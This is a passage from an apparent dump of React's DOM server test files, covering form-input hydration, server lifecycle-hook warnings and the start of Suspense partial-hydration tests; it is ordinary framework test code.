e.dispatchEvent(new Event('input', {bubbles: true, cancelable: false}));\n\n        expect(changeCount).toBe(1);\n        expect(e.value).toBe('Goodbye');\n      } finally {\n        document.body.removeChild(container);\n      }\n    });\n\n    itClientRenders('a controlled checkbox', async render => {\n      let changeCount = 0;\n      const e = await render(\n        <ControlledCheckbox onChange={() => changeCount++} />,\n      );\n      const container = e.parentNode;\n      document.body.appendChild(container);\n\n      try {\n        expect(changeCount).toBe(0);\n        expect(e.checked).toBe(true);\n\n        // simulate a user clicking.\n        e.click();\n\n        expect(changeCount).toBe(1);\n        expect(e.checked).toBe(false);\n      } finally {\n        document.body.removeChild(container);\n      }\n    });\n\n    itClientRenders('a controlled select', async render => {\n      const setUntrackedValue = Object.getOwnPropertyDescriptor(\n        HTMLSelectElement.prototype,\n        'value',\n      ).set;\n\n      let changeCount = 0;\n      const e = await render(\n        <ControlledSelect onChange={() => changeCount++} />,\n      );\n      const container = e.parentNode;\n      document.body.appendChild(container);\n\n      try {\n        expect(changeCount).toBe(0);\n        expect(e.value).toBe('Hello');\n\n        // simulate a user typing.\n        setUntrackedValue.call(e, 'Goodbye');\n        e.dispatchEvent(\n          new Event('change', {bubbles: true, cancelable: false}),\n        );\n\n        expect(changeCount).toBe(1);\n        expect(e.value).toBe('Goodbye');\n      } finally {\n        document.body.removeChild(container);\n      }\n    });\n  });\n\n  describe('user interaction with inputs before client render', function () {\n    // renders the element and changes the value **before** the client\n    // code has a chance to render; this simulates what happens when a\n    // user starts to interact with a server-rendered form before\n    // ReactDOM.render is called. the client render should NOT blow away\n    // the changes the user has made.\n    const testUserInteractionBeforeClientRender = async (\n      element,\n      initialValue = 'Hello',\n      changedValue = 'Goodbye',\n      valueKey = 'value',\n    ) => {\n      const field = await serverRender(element);\n      expect(field[valueKey]).toBe(initialValue);\n\n      // simulate a user typing in the field **before** client-side reconnect happens.\n      field[valueKey] = changedValue;\n\n      resetModules();\n      // client render on top of the server markup.\n      const clientField = await renderIntoDom(element, field.parentNode, true);\n      // verify that the input field was not replaced.\n      // Note that we cannot use expect(clientField).toBe(field) because\n      // of jest bug #1772\n      expect(clientField === field).toBe(true);\n      // confirm that the client render has not changed what the user typed.\n      expect(clientField[valueKey]).toBe(changedValue);\n    };\n\n    it('should not blow away user-entered text on successful reconnect to an uncontrolled input', () =>\n      testUserInteractionBeforeClientRender(<input defaultValue=\"Hello\" />));\n\n    it('should not blow away user-entered text on successful reconnect to a controlled input', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledInput onChange={() => changeCount++} />,\n      );\n      expect(changeCount).toBe(\n        gate(flags => flags.enableHydrationChangeEvent) ? 1 : 0,\n      );\n    });\n\n    it('should not blow away user-interaction on successful reconnect to an uncontrolled range input', () =>\n      testUserInteractionBeforeClientRender(\n        <input type=\"text\" defaultValue=\"0.5\" />,\n        '0.5',\n        '1',\n      ));\n\n    it('should not blow away user-interaction on successful reconnect to a controlled range input', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledInput\n          type=\"range\"\n          initialValue=\"0.25\"\n          onChange={() => changeCount++}\n        />,\n        '0.25',\n        '1',\n      );\n      expect(changeCount).toBe(\n        gate(flags => flags.enableHydrationChangeEvent) ? 1 : 0,\n      );\n    });\n\n    it('should not blow away user-entered text on successful reconnect to an uncontrolled checkbox', () =>\n      testUserInteractionBeforeClientRender(\n        <input type=\"checkbox\" defaultChecked={true} />,\n        true,\n        false,\n        'checked',\n      ));\n\n    it('should not blow away user-entered text on successful reconnect to a controlled checkbox', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledCheckbox onChange={() => changeCount++} />,\n        true,\n        false,\n        'checked',\n      );\n      expect(changeCount).toBe(\n        gate(flags => flags.enableHydrationChangeEvent) ? 1 : 0,\n      );\n    });\n\n    // @gate enableHydrationChangeEvent\n    it('should not blow away user-entered text on successful reconnect to an uncontrolled textarea', () =>\n      testUserInteractionBeforeClientRender(<textarea defaultValue=\"Hello\" />));\n\n    // @gate enableHydrationChangeEvent\n    it('should not blow away user-entered text on successful reconnect to a controlled textarea', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledTextArea onChange={() => changeCount++} />,\n      );\n      expect(changeCount).toBe(1);\n    });\n\n    it('should not blow away user-selected value on successful reconnect to an uncontrolled select', () =>\n      testUserInteractionBeforeClientRender(\n        <select defaultValue=\"Hello\">\n          <option key=\"1\" value=\"Hello\">\n            Hello\n          </option>\n          <option key=\"2\" value=\"Goodbye\">\n            Goodbye\n          </option>\n        </select>,\n      ));\n\n    it('should not blow away user-selected value on successful reconnect to an controlled select', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledSelect onChange={() => changeCount++} />,\n      );\n      expect(changeCount).toBe(\n        gate(flags => flags.enableHydrationChangeEvent) ? 1 : 0,\n      );\n    });\n\n    // @gate enableHydrationChangeEvent\n    it('should not blow away user-entered text cascading hydration to a controlled input', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledInput onChange={() => changeCount++} cascade={true} />,\n      );\n      expect(changeCount).toBe(1);\n    });\n\n    // @gate enableHydrationChangeEvent\n    it('should not blow away user-interaction cascading hydration to a controlled range input', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledInput\n          type=\"range\"\n          initialValue=\"0.25\"\n          onChange={() => changeCount++}\n          cascade={true}\n        />,\n        '0.25',\n        '1',\n      );\n      expect(changeCount).toBe(1);\n    });\n\n    // @gate enableHydrationChangeEvent\n    it('should not blow away user-entered text cascading hydration to a controlled checkbox', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledCheckbox onChange={() => changeCount++} cascade={true} />,\n        true,\n        false,\n        'checked',\n      );\n      expect(changeCount).toBe(1);\n    });\n\n    // @gate enableHydrationChangeEvent\n    it('should not blow away user-entered text cascading hydration to a controlled textarea', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledTextArea onChange={() => changeCount++} cascade={true} />,\n      );\n      expect(changeCount).toBe(1);\n    });\n\n    // @gate enableHydrationChangeEvent\n    it('should not blow away user-selected value cascading hydration to an controlled select', async () => {\n      let changeCount = 0;\n      await testUserInteractionBeforeClientRender(\n        <ControlledSelect onChange={() => changeCount++} cascade={true} />,\n      );\n      expect(changeCount).toBe(1);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerLifecycles-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMServer;\nlet assertConsoleErrorDev;\nlet assertConsoleWarnDev;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMServer = require('react-dom/server');\n  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;\n  assertConsoleWarnDev = require('internal-test-utils').assertConsoleWarnDev;\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerLifecycles', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  it('should invoke the correct legacy lifecycle hooks', () => {\n    const log = [];\n\n    class Outer extends React.Component {\n      UNSAFE_componentWillMount() {\n        log.push('outer componentWillMount');\n      }\n      render() {\n        log.push('outer render');\n        return <Inner />;\n      }\n    }\n\n    class Inner extends React.Component {\n      UNSAFE_componentWillMount() {\n        log.push('inner componentWillMount');\n      }\n      render() {\n        log.push('inner render');\n        return null;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Outer />);\n    expect(log).toEqual([\n      'outer componentWillMount',\n      'outer render',\n      'inner componentWillMount',\n      'inner render',\n    ]);\n  });\n\n  it('should invoke the correct new lifecycle hooks', () => {\n    const log = [];\n\n    class Outer extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        log.push('outer getDerivedStateFromProps');\n        return null;\n      }\n      render() {\n        log.push('outer render');\n        return <Inner />;\n      }\n    }\n\n    class Inner extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        log.push('inner getDerivedStateFromProps');\n        return null;\n      }\n      render() {\n        log.push('inner render');\n        return null;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Outer />);\n    expect(log).toEqual([\n      'outer getDerivedStateFromProps',\n      'outer render',\n      'inner getDerivedStateFromProps',\n      'inner render',\n    ]);\n  });\n\n  it('should not invoke unsafe cWM if static gDSFP is present', () => {\n    class Component extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      UNSAFE_componentWillMount() {\n        throw Error('unexpected');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Component />);\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n' +\n        '\\n' +\n        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  UNSAFE_componentWillMount\\n' +\n        '\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('should update instance.state with value returned from getDerivedStateFromProps', () => {\n    class Grandparent extends React.Component {\n      state = {\n        foo: 'foo',\n      };\n      render() {\n        return (\n          <div>\n            {`Grandparent: ${this.state.foo}`}\n            <Parent />\n          </div>\n        );\n      }\n    }\n\n    class Parent extends React.Component {\n      state = {\n        bar: 'bar',\n        baz: 'baz',\n      };\n      static getDerivedStateFromProps(props, prevState) {\n        return {\n          bar: `not ${prevState.bar}`,\n        };\n      }\n      render() {\n        return (\n          <div>\n            {`Parent: ${this.state.bar}, ${this.state.baz}`}\n            <Child />;\n          </div>\n        );\n      }\n    }\n\n    class Child extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return {\n          qux: 'qux',\n        };\n      }\n      render() {\n        return `Child: ${this.state.qux}`;\n      }\n    }\n\n    const markup = ReactDOMServer.renderToString(<Grandparent />);\n    expect(markup).toContain('Grandparent: foo');\n    expect(markup).toContain('Parent: not bar, baz');\n    expect(markup).toContain('Child: qux');\n  });\n\n  it('should warn if getDerivedStateFromProps returns undefined', () => {\n    class Component extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {}\n      render() {\n        return null;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Component />);\n    assertConsoleErrorDev([\n      'Component.getDerivedStateFromProps(): A valid state object (or null) must ' +\n        'be returned. You have returned undefined.\\n' +\n        '    in Component (at **)',\n    ]);\n\n    // De-duped\n    ReactDOMServer.renderToString(<Component />);\n  });\n\n  it('should warn if state is not initialized before getDerivedStateFromProps', () => {\n    class Component extends React.Component {\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      render() {\n        return null;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Component />);\n    assertConsoleErrorDev([\n      '`Component` uses `getDerivedStateFromProps` but its initial state is ' +\n        'undefined. This is not recommended. Instead, define the initial state by ' +\n        'assigning an object to `this.state` in the constructor of `Component`. ' +\n        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\\n' +\n        '    in Component (at **)',\n    ]);\n\n    // De-duped\n    ReactDOMServer.renderToString(<Component />);\n  });\n\n  it('should invoke both deprecated and new lifecycles if both are present', () => {\n    const log = [];\n\n    class Component extends React.Component {\n      componentWillMount() {\n        log.push('componentWillMount');\n      }\n      UNSAFE_componentWillMount() {\n        log.push('UNSAFE_componentWillMount');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Component />);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n' +\n        '\\n' +\n        '* Move code from componentWillMount to componentDidMount (preferred in most cases) or the constructor.\\n' +\n        '\\n' +\n        'Please update the following components: Component\\n' +\n        '    in Component (at **)',\n    ]);\n    expect(log).toEqual(['componentWillMount', 'UNSAFE_componentWillMount']);\n  });\n\n  it('tracks state updates across components', () => {\n    class Outer extends React.Component {\n      UNSAFE_componentWillMount() {\n        this.setState({x: 1});\n      }\n      render() {\n        return <Inner updateParent={this.updateParent}>{this.state.x}</Inner>;\n      }\n      updateParent = () => {\n        this.setState({x: 3});\n      };\n    }\n    class Inner extends React.Component {\n      UNSAFE_componentWillMount() {\n        this.setState({x: 2});\n        this.props.updateParent();\n      }\n      render() {\n        return <div>{this.props.children + '-' + this.state.x}</div>;\n      }\n    }\n    // Shouldn't be 1-3.\n    expect(ReactDOMServer.renderToStaticMarkup(<Outer />)).toBe(\n      '<div>1-2</div>',\n    );\n    assertConsoleErrorDev([\n      'Can only update a mounting component. This ' +\n        'usually means you called setState() outside componentWillMount() on ' +\n        'the server. This is a no-op.\\n\\n' +\n        'Please check the code for the Outer component.\\n' +\n        '    in Outer (at **)',\n    ]);\n  });\n\n  it('should not invoke cWM if static gDSFP is present', () => {\n    class Component extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      componentWillMount() {\n        throw Error('unexpected');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Component />);\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n' +\n        '\\n' +\n        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('should warn about deprecated lifecycle hooks', () => {\n    class MyComponent extends React.Component {\n      componentWillMount() {}\n      render() {\n        return null;\n      }\n    }\n\n    ReactDOMServer.renderToString(<MyComponent />);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n' +\n        '\\n' +\n        '* Move code from componentWillMount to componentDidMount (preferred in most cases) or the constructor.\\n' +\n        '\\n' +\n        'Please update the following components: MyComponent\\n' +\n        '    in MyComponent (at **)',\n    ]);\n\n    // De-duped\n    ReactDOMServer.renderToString(<MyComponent />);\n  });\n\n  describe('react-lifecycles-compat', () => {\n    const {polyfill} = require('react-lifecycles-compat');\n\n    it('should not warn for components with polyfilled getDerivedStateFromProps', () => {\n      class PolyfilledComponent extends React.Component {\n        state = {};\n        static getDerivedStateFromProps() {\n          return null;\n        }\n        render() {\n          return null;\n        }\n      }\n\n      polyfill(PolyfilledComponent);\n\n      const container = document.createElement('div');\n      ReactDOMServer.renderToString(\n        <React.StrictMode>\n          <PolyfilledComponent />\n        </React.StrictMode>,\n        container,\n      );\n    });\n\n    it('should not warn for components with polyfilled getSnapshotBeforeUpdate', () => {\n      class PolyfilledComponent extends React.Component {\n        getSnapshotBeforeUpdate() {\n          return null;\n        }\n        componentDidUpdate() {}\n        render() {\n          return null;\n        }\n      }\n\n      polyfill(PolyfilledComponent);\n\n      const container = document.createElement('div');\n      ReactDOMServer.renderToString(\n        <React.StrictMode>\n          <PolyfilledComponent />\n        </React.StrictMode>,\n        container,\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerPartialHydration-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet Activity;\nlet React = require('react');\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet ReactFeatureFlags;\nlet Scheduler;\nlet Suspense;\nlet SuspenseList;\nlet useSyncExternalStore;\nlet act;\nlet IdleEventPriority;\nlet waitForAll;\nlet waitFor;\nlet waitForPaint;\nlet assertLog;\nlet assertConsoleErrorDev;\n\nfunction normalizeError(msg) {\n  // Take the first sentence to make it easier to assert on.\n  const idx = msg.indexOf('.');\n  if (idx > -1) {\n    return msg.slice(0, idx + 1);\n  }\n  return msg;\n}\n\nfunction dispatchMouseEvent(to, from) {\n  if (!to) {\n    to = null;\n  }\n  if (!from) {\n    from = null;\n  }\n  if (from) {\n    const mouseOutEvent = document.createEvent('MouseEvents');\n    mouseOutEvent.initMouseEvent(\n      'mouseout',\n      true,\n      true,\n      window,\n      0,\n      50,\n      50,\n      50,\n      50,\n      false,\n      false,\n      false,\n      false,\n      0,\n      to,\n    );\n    from.dispatchEvent(mouseOutEvent);\n  }\n  if (to) {\n    const mouseOverEvent = document.createEvent('MouseEvents');\n    mouseOverEvent.initMouseEvent(\n      'mouseover',\n      true,\n      true,\n      window,\n      0,\n      50,\n      50,\n      50,\n      50,\n      false,\n      false,\n      false,\n      false,\n      0,\n      from,\n    );\n    to.dispatchEvent(mouseOverEvent);\n  }\n}\n\nclass TestAppClass extends React.Component {\n  render() {\n    return (\n      <div>\n        <>{''}</>\n        <>{'Hello'}</>\n      </div>\n    );\n  }\n}\n\ndescribe('ReactDOMServerPartialHydration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n    ReactFeatureFlags.enableSuspenseCallback = true;\n    ReactFeatureFlags.enableCreateEventHandleAPI = true;\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    ReactDOMServer = require('react-dom/server');\n    Scheduler = require('scheduler');\n    Activity = React.Activity;\n    Suspense = React.Suspense;\n    useSyncExternalStore = React.useSyncExternalStore;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    waitFor = InternalTestUtils.waitFor;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n    IdleEventPriority = require('react-reconciler/constants').IdleEventPriority;\n  });\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  it('hydrates a parent even if a child Suspense boundary is blocked', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref}>\n              <Child />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n\n    // Resolving the promise should continue hydration\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([]);\n\n    // We should now have hydrated with a ref on the existing span.\n    expect(ref.current).toBe(span);\n  });\n\n  it('can hydrate siblings of a suspended component without errors', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child />\n          <Suspense fallback=\"Loading...\">\n            <div>Hello</div>\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n    expect(container.textContent).toBe('HelloHello');\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n\n    // Expect the server-generated HTML to stay intact.\n    expect(container.textContent).toBe('HelloHello');\n\n    // Resolving the promise should continue hydration\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([]);\n    // Hydration should not change anything.\n    expect(container.textContent).toBe('HelloHello');\n  });\n\n  it('falls back to client rendering boundary on mismatch', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child() {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return 'Hello';\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child />\n          <Component />\n          <Component />\n          <Component />\n          <Component shouldMismatch={true} />\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Hello', 'Component', 'Component', 'Component', 'Component']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$-->Hello<div>Component</div><div>Component</div><div>Component</div><div>Component</div><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Suspend']);\n    jest.runAllTimers();\n\n    // Unchanged\n    expect(container.innerHTML).toBe(\n      '<!--$-->Hello<div>Component</div><div>Component</div><div>Component</div><div>Component</div><!--/$-->',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Hello',\n      'Component',\n      'Component',\n      'Component',\n      'Component',\n\n      // second pass as client render\n      'Hello',\n      'Component',\n      'Component',\n      'Component',\n      'Component',\n      // Hydration mismatch is logged\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe(\n      'Hello<div>Component</div><div>Component</div><div>Component</div><article>Mismatch</article>',\n    );\n  });\n\n  it('does not show a fallback if mismatch is after suspending', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child() {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return 'Hello';\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Child />\n          <Component shouldMismatch={true} />\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Hello', 'Component']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$-->Hello<div>Component</div><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Suspend']);\n    jest.runAllTimers();\n\n    // !! Unchanged, continue showing server content while suspended.\n    expect(container.innerHTML).toBe(\n      '<!--$-->Hello<div>Component</div><!--/$-->',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Hello',\n      'Component',\n      'Hello',\n      'Component',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed.\n    expect(container.innerHTML).toBe('Hello<article>Mismatch</article>');\n  });\n\n  it('does not show a fallback if mismatch is child of suspended component', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child({children}) {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return <div>{children}</div>;\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Child>\n            <Component shouldMismatch={true} />\n          </Child>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Hello', 'Component']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><div><div>Component</div></div><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Suspend']);\n    jest.runAllTimers();\n\n    // !! Unchanged, continue showing server content while suspended.\n    expect(container.innerHTML).toBe(\n      '<!--$--><div><div>Component</div></div><!--/$-->',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Hello',\n      'Component',\n      'Hello',\n      'Component',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe('<div><article>Mismatch</article></div>');\n  });\n\n  it('does not show a fallback if mismatch is parent and first child suspends', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child({children}) {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return <div>{children}</div>;\n      }\n    }\n    function Component({shouldMismatch, children}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return (\n          <div>\n            {children}\n            <article>Mismatch</article>\n          </div>\n        );\n      }\n      return (\n        <div>\n          {children}\n          <div>Component</div>\n        </div>\n      );\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Component shouldMismatch={true}>\n            <Child />\n          </Component>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><div><div></div><div>Component</div></div><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Component', 'Suspend']);\n    jest.runAllTimers();\n\n    // !! Unchanged, continue showing server content while suspended.\n    expect(container.innerHTML).toBe(\n      '<!--$--><div><div></div><div>Component</div></div><!--/$-->',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Component',\n      'Hello',\n      'Component',\n      'Hello',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe(\n      '<div><div></div><article>Mismatch</article></div>',\n    );\n  });\n\n  it('does show a fallback if mismatch is parent and second child suspends', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => 